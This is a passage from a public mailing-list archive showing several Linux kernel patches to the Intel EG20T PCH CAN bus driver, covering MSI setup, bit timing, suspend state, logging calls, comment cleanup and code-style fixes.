Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |   29 ++++++++++++++---------------
 1 files changed, 14 insertions(+), 15 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index f824a91..e2132b7 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -856,15 +856,6 @@ static int pch_can_open(struct net_device *ndev)
 	struct pch_can_priv *priv = netdev_priv(ndev);
 	int retval;
 
-	retval = pci_enable_msi(priv->dev);
-	if (retval) {
-		netdev_err(ndev, "PCH CAN opened without MSI\n");
-		priv->use_msi = 0;
-	} else {
-		netdev_err(ndev, "PCH CAN opened with MSI\n");
-		priv->use_msi = 1;
-	}
-
 	/* Regstering the interrupt. */
 	retval = request_irq(priv->dev->irq, pch_can_interrupt, IRQF_SHARED,
 			     ndev->name, ndev);
@@ -890,9 +881,6 @@ static int pch_can_open(struct net_device *ndev)
 err_open_candev:
 	free_irq(priv->dev->irq, ndev);
 req_irq_err:
-	if (priv->use_msi)
-		pci_disable_msi(priv->dev);
-
 	pch_can_release(priv);
 
 	return retval;
@@ -906,8 +894,6 @@ static int pch_close(struct net_device *ndev)
 	napi_disable(&priv->napi);
 	pch_can_release(priv);
 	free_irq(priv->dev->irq, ndev);
-	if (priv->use_msi)
-		pci_disable_msi(priv->dev);
 	close_candev(ndev);
 	priv->can.state = CAN_STATE_STOPPED;
 	return 0;
@@ -986,12 +972,14 @@ static void __devexit pch_can_remove(struct pci_dev *pdev)
 	struct pch_can_priv *priv = netdev_priv(ndev);
 
 	unregister_candev(priv->ndev);
-	free_candev(priv->ndev);
 	pci_iounmap(pdev, priv->regs);
+	if (priv->use_msi)
+		pci_disable_msi(priv->dev);
 	pci_release_regions(pdev);
 	pci_disable_device(pdev);
 	pci_set_drvdata(pdev, NULL);
 	pch_can_reset(priv);
+	free_candev(priv->ndev);
 }
 
 #ifdef CONFIG_PM
@@ -1249,6 +1237,15 @@ static int __devinit pch_can_probe(struct pci_dev *pdev,
 
 	netif_napi_add(ndev, &priv->napi, pch_can_poll, PCH_RX_OBJ_END);
 
+	rc = pci_enable_msi(priv->dev);
+	if (rc) {
+		netdev_err(ndev, "PCH CAN opened without MSI\n");
+		priv->use_msi = 0;
+	} else {
+		netdev_err(ndev, "PCH CAN opened with MSI\n");
+		priv->use_msi = 1;
+	}
+
 	rc = register_candev(ndev);
 	if (rc) {
 		dev_err(&pdev->dev, "Failed register_candev %d\n", rc);
@@ -1258,6 +1255,8 @@ static int __devinit pch_can_probe(struct pci_dev *pdev,
 	return 0;
 
 probe_exit_reg_candev:
+	if (priv->use_msi)
+		pci_disable_msi(priv->dev);
 	free_candev(ndev);
 probe_exit_alloc_candev:
 	pci_iounmap(pdev, addr);
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 14/19 v5] can: EG20T PCH: Comment optimization
From: Tomoya MORINAGA @ 2010-11-26  2:21 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Comment optimization

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |   14 +++++++-------
 1 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index ff57a67..f824a91 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -292,7 +292,7 @@ static void pch_can_set_rxtx(struct pch_can_priv *priv, u32 buff_num,
 	else
 		ie = PCH_IF_MCONT_RXIE;
 
-	/* Reading the receive buffer data from RAM to Interface1/2 registers */
+	/* Reading the Msg buffer from Message RAM to IF1/2 registers. */
 	iowrite32(PCH_CMASK_RX_TX_GET, &priv->regs->ifregs[dir].cmask);
 	pch_can_rw_msg_obj(&priv->regs->ifregs[dir].creq, buff_num);
 
@@ -865,7 +865,7 @@ static int pch_can_open(struct net_device *ndev)
 		priv->use_msi = 1;
 	}
 
-	/* Regsitering the interrupt. */
+	/* Regstering the interrupt. */
 	retval = request_irq(priv->dev->irq, pch_can_interrupt, IRQF_SHARED,
 			     ndev->name, ndev);
 	if (retval) {
@@ -965,7 +965,7 @@ static netdev_tx_t pch_xmit(struct sk_buff *skb, struct net_device *ndev)
 
 	can_put_echo_skb(skb, ndev, tx_obj_no - PCH_RX_OBJ_END - 1);
 
-	/* Updating the size of the data. */
+	/* Set the size of the data. Update if2_mcont */
 	iowrite32(cf->can_dlc | PCH_IF_MCONT_NEWDAT | PCH_IF_MCONT_TXRQXT |
 		  PCH_IF_MCONT_TXIE, &priv->regs->ifregs[1].mcont);
 
@@ -1066,8 +1066,8 @@ static u32 pch_can_get_rx_buffer_link(struct pch_can_priv *priv, u32 buffer_num)
 
 static int pch_can_suspend(struct pci_dev *pdev, pm_message_t state)
 {
-	int i;			/* Counter variable. */
-	int retval;		/* Return value. */
+	int i;
+	int retval;
 	u32 buf_stat;	/* Variable for reading the transmit buffer status. */
 	int counter = PCH_COUNTER_LIMIT;
 
@@ -1124,8 +1124,8 @@ static int pch_can_suspend(struct pci_dev *pdev, pm_message_t state)
 
 static int pch_can_resume(struct pci_dev *pdev)
 {
-	int i;			/* Counter variable. */
-	int retval;		/* Return variable. */
+	int i;
+	int retval;
 	struct net_device *dev = pci_get_drvdata(pdev);
 	struct pch_can_priv *priv = netdev_priv(dev);
 
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 13/19 v5] can: EG20T PCH: Fix miss-setting status issue
From: Tomoya MORINAGA @ 2010-11-26  2:20 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Fix miss-setting status issue
 Modify miss-setting status issue at suspend.

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index b1fde7d..ff57a67 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -1078,7 +1078,7 @@ static int pch_can_suspend(struct pci_dev *pdev, pm_message_t state)
 	pch_can_set_run_mode(priv, PCH_CAN_STOP);
 
 	/* Indicate that we are aboutto/in suspend */
-	priv->can.state = CAN_STATE_SLEEPING;
+	priv->can.state = CAN_STATE_STOPPED;
 
 	/* Waiting for all transmission to complete. */
 	while (counter) {
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 12/19 v5] can: EG20T PCH: Fix bit timing calculation issue
From: Tomoya MORINAGA @ 2010-11-26  2:20 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

>From f6e0c08d92460943ec78fa2e49df72e5a911875d Mon Sep 17 00:00:00 2001
From: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
Date: Thu, 18 Nov 2010 17:41:40 +0900
Subject: [PATCH] CAN : Fix bit timing calculation issue
 Modify like use calculated value directly passed by CAN core module.

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
Acked-by: Marc Kleine-Budde <mkl@pengutronix.de>
---
 drivers/net/can/pch_can.c |    6 ++----
 1 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index 33c6bc0..b1fde7d 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -797,17 +797,15 @@ static int pch_set_bittiming(struct net_device *ndev)
 	const struct can_bittiming *bt = &priv->can.bittiming;
 	u32 canbit;
 	u32 bepe;
-	u32 brp;
 
 	/* Setting the CCE bit for accessing the Can Timing register. */
 	pch_can_bit_set(&priv->regs->cont, PCH_CTRL_CCE);
 
-	brp = (bt->tq) / (1000000000/PCH_CAN_CLK) - 1;
-	canbit = brp & PCH_MSK_BITT_BRP;
+	canbit = (bt->brp - 1) & PCH_MSK_BITT_BRP;
 	canbit |= (bt->sjw - 1) << PCH_BIT_SJW_SHIFT;
 	canbit |= (bt->phase_seg1 + bt->prop_seg - 1) << PCH_BIT_TSEG1_SHIFT;
 	canbit |= (bt->phase_seg2 - 1) << PCH_BIT_TSEG2_SHIFT;
-	bepe = (brp & PCH_MSK_BRPE_BRPE) >> PCH_BIT_BRPE_BRPE_SHIFT;
+	bepe = ((bt->brp - 1) & PCH_MSK_BRPE_BRPE) >> PCH_BIT_BRPE_BRPE_SHIFT;
 	iowrite32(canbit, &priv->regs->bitt);
 	iowrite32(bepe, &priv->regs->brpe);
 	pch_can_bit_clear(&priv->regs->cont, PCH_CTRL_CCE);
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 11/19 v5] can: EG20T PCH: Delete unnecessary/redundant code
From: Tomoya MORINAGA @ 2010-11-26  2:18 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Delete unnecessary/redundant code

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |   89 +++++++++++++++++++--------------------------
 1 files changed, 37 insertions(+), 52 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index b803fed..33c6bc0 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -447,11 +447,6 @@ static void pch_can_release(struct pch_can_priv *priv)
 /* This function clears interrupt(s) from the CAN device. */
 static void pch_can_int_clr(struct pch_can_priv *priv, u32 mask)
 {
-	if (mask == PCH_STATUS_INT) {
-		ioread32(&priv->regs->stat);
-		return;
-	}
-
 	/* Clear interrupt for transmit object */
 	if ((mask >= PCH_RX_OBJ_START) && (mask <= PCH_RX_OBJ_END)) {
 		/* Setting CMASK for clearing the reception interrupts. */
@@ -518,8 +513,6 @@ static void pch_can_error(struct net_device *ndev, u32 status)
 		state = CAN_STATE_BUS_OFF;
 		cf->can_id |= CAN_ERR_BUSOFF;
 		can_bus_off(ndev);
-		pch_can_set_run_mode(priv, PCH_CAN_RUN);
-		dev_err(&ndev->dev, "%s -> Bus Off occurres.\n", __func__);
 	}
 
 	errc = ioread32(&priv->regs->errc);
@@ -655,7 +648,6 @@ static int pch_can_rx_normal(struct net_device *ndev, u32 obj_num, int quota)
 	canid_t id;
 	int rcv_pkts = 0;
 	int rtn;
-	int next_flag = 0;
 	struct sk_buff *skb;
 	struct can_frame *cf;
 	struct pch_can_priv *priv = netdev_priv(ndev);
@@ -682,50 +674,48 @@ static int pch_can_rx_normal(struct net_device *ndev, u32 obj_num, int quota)
 				netdev_err(ndev, "Can't get memory\n");
 			rcv_pkts++;
 			quota--;
-			next_flag = 1;
-		} else if (!(reg & PCH_IF_MCONT_NEWDAT))
-			next_flag = 1;
-
-		if (!next_flag) {
-			skb = alloc_can_skb(priv->ndev, &cf);
-			if (!skb)
-				return -ENOMEM;
-
-			/* Get Received data */
-			id2 = ioread32(&priv->regs->ifregs[0].id2);
-			if (id2 & PCH_ID2_XTD) {
-				id = (ioread32(&priv->regs->ifregs[0].id1) &
-					       0xffff);
-				id |= (((id2) & 0x1fff) << 16);
-				cf->can_id = id | CAN_EFF_FLAG;
-			} else {
-				id = ((id2 & (CAN_SFF_MASK << 2)) >> 2);
-				cf->can_id = id;
-			}
+			obj_num++;
+			continue;
+		} else if (!(reg & PCH_IF_MCONT_NEWDAT)) {
+			obj_num++;
+			continue;
+		}
 
-			if (id2 & PCH_ID2_DIR)
-				cf->can_id |= CAN_RTR_FLAG;
+		skb = alloc_can_skb(priv->ndev, &cf);
+		if (!skb)
+			return -ENOMEM;
+
+		/* Get Received data */
+		id2 = ioread32(&priv->regs->ifregs[0].id2);
+		if (id2 & PCH_ID2_XTD) {
+			id = (ioread32(&priv->regs->ifregs[0].id1) & 0xffff);
+			id |= (((id2) & 0x1fff) << 16);
+			cf->can_id = id | CAN_EFF_FLAG;
+		} else {
+			id = ((id2 & (CAN_SFF_MASK << 2)) >> 2);
+			cf->can_id = id;
+		}
 
-			cf->can_dlc = get_can_dlc((ioread32(&priv->regs->
-						   ifregs[0].mcont)) & 0xF);
+		if (id2 & PCH_ID2_DIR)
+			cf->can_id |= CAN_RTR_FLAG;
 
-			for (i = 0; i < cf->can_dlc; i += 2) {
-				data_reg = ioread16(&priv->regs->ifregs[0].
-						    data[i / 2]);
-				cf->data[i] = data_reg & 0xff;
-				cf->data[i + 1] = data_reg >> 8;
-			}
+		cf->can_dlc = get_can_dlc((ioread32(&priv->regs->
+						    ifregs[0].mcont)) & 0xF);
 
-			netif_receive_skb(skb);
-			rcv_pkts++;
-			stats->rx_packets++;
-			quota--;
-			stats->rx_bytes += cf->can_dlc;
-
-			pch_fifo_thresh(priv, obj_num);
+		for (i = 0; i < cf->can_dlc; i += 2) {
+			data_reg = ioread16(&priv->regs->ifregs[0].data[i / 2]);
+			cf->data[i] = data_reg & 0xff;
+			cf->data[i + 1] = data_reg >> 8;
 		}
+
+		netif_receive_skb(skb);
+		rcv_pkts++;
+		stats->rx_packets++;
+		quota--;
+		stats->rx_bytes += cf->can_dlc;
+
+		pch_fifo_thresh(priv, obj_num);
 		obj_num++;
-		next_flag = 0;
 	} while (quota > 0);
 
 	return rcv_pkts;
@@ -761,7 +751,7 @@ static int pch_can_poll(struct napi_struct *napi, int quota)
 	if (!int_stat)
 		goto end;
 
-	if ((int_stat == PCH_STATUS_INT) && (quota > 0)) {
+	if (int_stat == PCH_STATUS_INT) {
 		reg_stat = ioread32(&priv->regs->stat);
 		if (reg_stat & (PCH_BUS_OFF | PCH_LEC_ALL)) {
 			if (reg_stat & PCH_BUS_OFF ||
@@ -947,10 +937,6 @@ static netdev_tx_t pch_xmit(struct sk_buff *skb, struct net_device *ndev)
 		priv->tx_obj++;
 	}
 
-	/* Reading the Msg Obj from the Msg RAM to the Interface register. */
-	iowrite32(PCH_CMASK_RX_TX_GET, &priv->regs->ifregs[1].cmask);
-	pch_can_rw_msg_obj(&priv->regs->ifregs[1].creq, tx_obj_no);
-
 	/* Setting the CMASK register. */
 	pch_can_bit_set(&priv->regs->ifregs[1].cmask, PCH_CMASK_ALL);
 
@@ -1080,7 +1066,6 @@ static u32 pch_can_get_rx_buffer_link(struct pch_can_priv *priv, u32 buffer_num)
 	return link;
 }
 
-
 static int pch_can_suspend(struct pci_dev *pdev, pm_message_t state)
 {
 	int i;			/* Counter variable. */
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 10/19 v5] can: EG20T PCH: Fix coding rule violation
From: Tomoya MORINAGA @ 2010-11-26  2:17 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Fix coding rule violation.

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
Acked-by: Marc Kleine-Budde <mkl@pengutronix.de>
---
 drivers/net/can/pch_can.c |   45 +++++++++++++++++++++------------------------
 1 files changed, 21 insertions(+), 24 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index b15653c..b803fed 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -89,9 +89,11 @@
 
 #define PCH_CAN_CLK		50000000	/* 50MHz */
 
-/* Define the number of message object.
+/*
+ * Define the number of message object.
  * PCH CAN communications are done via Message RAM.
- * The Message RAM consists of 32 message objects. */
+ * The Message RAM consists of 32 message objects.
+ */
 #define PCH_RX_OBJ_NUM		26
 #define PCH_TX_OBJ_NUM		6
 #define PCH_RX_OBJ_START	1
@@ -126,7 +128,7 @@ enum pch_can_mode {
 	PCH_CAN_ALL,
 	PCH_CAN_NONE,
 	PCH_CAN_STOP,
-	PCH_CAN_RUN
+	PCH_CAN_RUN,
 };
 
 struct pch_can_if_regs {
@@ -290,21 +292,20 @@ static void pch_can_set_rxtx(struct pch_can_priv *priv, u32 buff_num,
 	else
 		ie = PCH_IF_MCONT_RXIE;
 
-	/* Reading the receive buffer data from RAM to Interface1 registers */
+	/* Reading the receive buffer data from RAM to Interface1/2 registers */
 	iowrite32(PCH_CMASK_RX_TX_GET, &priv->regs->ifregs[dir].cmask);
 	pch_can_rw_msg_obj(&priv->regs->ifregs[dir].creq, buff_num);
 
-	/* Setting the IF1MASK1 register to access MsgVal and RxIE bits */
+	/* Setting the IF1/2MASK1 register to access MsgVal and RxIE bits */
 	iowrite32(PCH_CMASK_RDWR | PCH_CMASK_ARB | PCH_CMASK_CTRL,
 		  &priv->regs->ifregs[dir].cmask);
 
 	if (set) {
-		/* Setting the MsgVal and RxIE bits */
+		/* Setting the MsgVal and RxIE/TxIE bits */
 		pch_can_bit_set(&priv->regs->ifregs[dir].mcont, ie);
 		pch_can_bit_set(&priv->regs->ifregs[dir].id2, PCH_ID_MSGVAL);
-
 	} else {
-		/* Resetting the MsgVal and RxIE bits */
+		/* Clearing the MsgVal and RxIE/TxIE bits */
 		pch_can_bit_clear(&priv->regs->ifregs[dir].mcont, ie);
 		pch_can_bit_clear(&priv->regs->ifregs[dir].id2, PCH_ID_MSGVAL);
 	}
@@ -362,8 +363,7 @@ static void pch_can_config_rx_tx_buffers(struct pch_can_priv *priv)
 	int i;
 
 	for (i = PCH_RX_OBJ_START; i <= PCH_RX_OBJ_END; i++) {
-		iowrite32(PCH_CMASK_RX_TX_GET,
-			&priv->regs->ifregs[0].cmask);
+		iowrite32(PCH_CMASK_RX_TX_GET, &priv->regs->ifregs[0].cmask);
 		pch_can_rw_msg_obj(&priv->regs->ifregs[0].creq, i);
 
 		iowrite32(0x0, &priv->regs->ifregs[0].id1);
@@ -385,16 +385,14 @@ static void pch_can_config_rx_tx_buffers(struct pch_can_priv *priv)
 				  0x1fff | PCH_MASK2_MDIR_MXTD);
 
 		/* Setting CMASK for writing */
-		iowrite32(PCH_CMASK_RDWR | PCH_CMASK_MASK |
-			  PCH_CMASK_ARB | PCH_CMASK_CTRL,
-			  &priv->regs->ifregs[0].cmask);
+		iowrite32(PCH_CMASK_RDWR | PCH_CMASK_MASK | PCH_CMASK_ARB |
+			  PCH_CMASK_CTRL, &priv->regs->ifregs[0].cmask);
 
 		pch_can_rw_msg_obj(&priv->regs->ifregs[0].creq, i);
 	}
 
 	for (i = PCH_TX_OBJ_START; i <= PCH_TX_OBJ_END; i++) {
-		iowrite32(PCH_CMASK_RX_TX_GET,
-			&priv->regs->ifregs[1].cmask);
+		iowrite32(PCH_CMASK_RX_TX_GET, &priv->regs->ifregs[1].cmask);
 		pch_can_rw_msg_obj(&priv->regs->ifregs[1].creq, i);
 
 		/* Resetting DIR bit for reception */
@@ -409,9 +407,8 @@ static void pch_can_config_rx_tx_buffers(struct pch_can_priv *priv)
 		pch_can_bit_clear(&priv->regs->ifregs[1].mask2, 0x1fff);
 
 		/* Setting CMASK for writing */
-		iowrite32(PCH_CMASK_RDWR | PCH_CMASK_MASK |
-			  PCH_CMASK_ARB | PCH_CMASK_CTRL,
-			  &priv->regs->ifregs[1].cmask);
+		iowrite32(PCH_CMASK_RDWR | PCH_CMASK_MASK | PCH_CMASK_ARB |
+			  PCH_CMASK_CTRL, &priv->regs->ifregs[1].cmask);
 
 		pch_can_rw_msg_obj(&priv->regs->ifregs[1].creq, i);
 	}
@@ -470,8 +467,9 @@ static void pch_can_int_clr(struct pch_can_priv *priv, u32 mask)
 
 		pch_can_rw_msg_obj(&priv->regs->ifregs[0].creq, mask);
 	} else if ((mask >= PCH_TX_OBJ_START) && (mask <= PCH_TX_OBJ_END)) {
-		/* Setting CMASK for clearing interrupts for
-					 frame transmission. */
+		/*
+		 * Setting CMASK for clearing interrupts for frame transmission.
+		 */
 		iowrite32(PCH_CMASK_RDWR | PCH_CMASK_CTRL | PCH_CMASK_ARB,
 			  &priv->regs->ifregs[1].cmask);
 
@@ -596,7 +594,6 @@ static irqreturn_t pch_can_interrupt(int irq, void *dev_id)
 	struct pch_can_priv *priv = netdev_priv(ndev);
 
 	pch_can_set_int_enables(priv, PCH_CAN_NONE);
-
 	napi_schedule(&priv->napi);
 
 	return IRQ_HANDLED;
@@ -1045,11 +1042,11 @@ static u32 pch_can_get_rxtx_ir(struct pch_can_priv *priv, u32 buff_num,
 	pch_can_rw_msg_obj(&priv->regs->ifregs[dir].creq, buff_num);
 
 	if (((ioread32(&priv->regs->ifregs[dir].id2)) & PCH_ID_MSGVAL) &&
-			((ioread32(&priv->regs->ifregs[dir].mcont)) & ie)) {
+			((ioread32(&priv->regs->ifregs[dir].mcont)) & ie))
 		enable = 1;
-	} else {
+	else
 		enable = 0;
-	}
+
 	return enable;
 }
 
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 09/19 v5] can: EG20T PCH: Use netdev_dbg instead of dev_dbg
From: Tomoya MORINAGA @ 2010-11-26  2:16 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Replace netdev_dbg instead of dev_dbg partly

For easy to readable, use netdev_dbg instead of dev_dbg partly

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |   16 ++++++++--------
 1 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index 174c584..b15653c 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -222,7 +222,7 @@ static void pch_can_set_run_mode(struct pch_can_priv *priv,
 		break;
 
 	default:
-		dev_err(&priv->ndev->dev, "%s -> Invalid Mode.\n", __func__);
+		netdev_err(priv->ndev, "%s -> Invalid Mode.\n", __func__);
 		break;
 	}
 }
@@ -275,7 +275,7 @@ static void pch_can_set_int_enables(struct pch_can_priv *priv,
 		break;
 
 	default:
-		dev_err(&priv->ndev->dev, "Invalid interrupt number.\n");
+		netdev_err(priv->ndev, "Invalid interrupt number.\n");
 		break;
 	}
 }
@@ -534,7 +534,7 @@ static void pch_can_error(struct net_device *ndev, u32 status)
 			cf->data[1] |= CAN_ERR_CRTL_RX_WARNING;
 		if ((errc & PCH_TEC) > 96)
 			cf->data[1] |= CAN_ERR_CRTL_TX_WARNING;
-		dev_warn(&ndev->dev,
+		netdev_dbg(ndev,
 			"%s -> Error Counter is more than 96.\n", __func__);
 	}
 	/* Error passive interrupt. */
@@ -546,7 +546,7 @@ static void pch_can_error(struct net_device *ndev, u32 status)
 			cf->data[1] |= CAN_ERR_CRTL_RX_PASSIVE;
 		if ((errc & PCH_TEC) > 127)
 			cf->data[1] |= CAN_ERR_CRTL_TX_PASSIVE;
-		dev_err(&ndev->dev,
+		netdev_dbg(ndev,
 			"%s -> CAN controller is ERROR PASSIVE .\n", __func__);
 	}
 
@@ -873,10 +873,10 @@ static int pch_can_open(struct net_device *ndev)
 
 	retval = pci_enable_msi(priv->dev);
 	if (retval) {
-		dev_info(&ndev->dev, "PCH CAN opened without MSI\n");
+		netdev_err(ndev, "PCH CAN opened without MSI\n");
 		priv->use_msi = 0;
 	} else {
-		dev_info(&ndev->dev, "PCH CAN opened with MSI\n");
+		netdev_err(ndev, "PCH CAN opened with MSI\n");
 		priv->use_msi = 1;
 	}
 
@@ -884,14 +884,14 @@ static int pch_can_open(struct net_device *ndev)
 	retval = request_irq(priv->dev->irq, pch_can_interrupt, IRQF_SHARED,
 			     ndev->name, ndev);
 	if (retval) {
-		dev_err(&ndev->dev, "request_irq failed.\n");
+		netdev_err(ndev, "request_irq failed.\n");
 		goto req_irq_err;
 	}
 
 	/* Open common can device */
 	retval = open_candev(ndev);
 	if (retval) {
-		dev_err(ndev->dev.parent, "open_candev() failed %d\n", retval);
+		netdev_err(ndev, "open_candev() failed %d\n", retval);
 		goto err_open_candev;
 	}
 
-- 
1.6.0.6


^ permalink raw reply related

* [PATCH net-next-2.6 08/19 v5] can: EG20T PCH: Change Copyright and module description
From: Tomoya MORINAGA @ 2010-11-26  2:15 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Change Copyright and module description
 Currently, Copyright and module description are not formal.

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index 32f865e..174c584 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -1,6 +1,6 @@
 /*
  * Copyright (C) 1999 - 2010 Intel Corporation.
- * Copyright (C) 2010 OKI SEMICONDUCTOR Co., LTD.
+ * Copyright (C) 2010 OKI SEMICONDUCTOR CO., LTD.
  *
  * This program is free software; you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -1310,6 +1310,6 @@ static void __exit pch_can_pci_exit(void)
 }
 module_exit(pch_can_pci_exit);
 
-MODULE_DESCRIPTION("Controller Area Network Driver");
+MODULE_DESCRIPTION("Intel EG20T PCH CAN(Controller Area Network) Driver");
 MODULE_LICENSE("GPL v2");
 MODULE_VERSION("0.94");
-- 
1.6.0.6

^ permalink raw reply related


This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox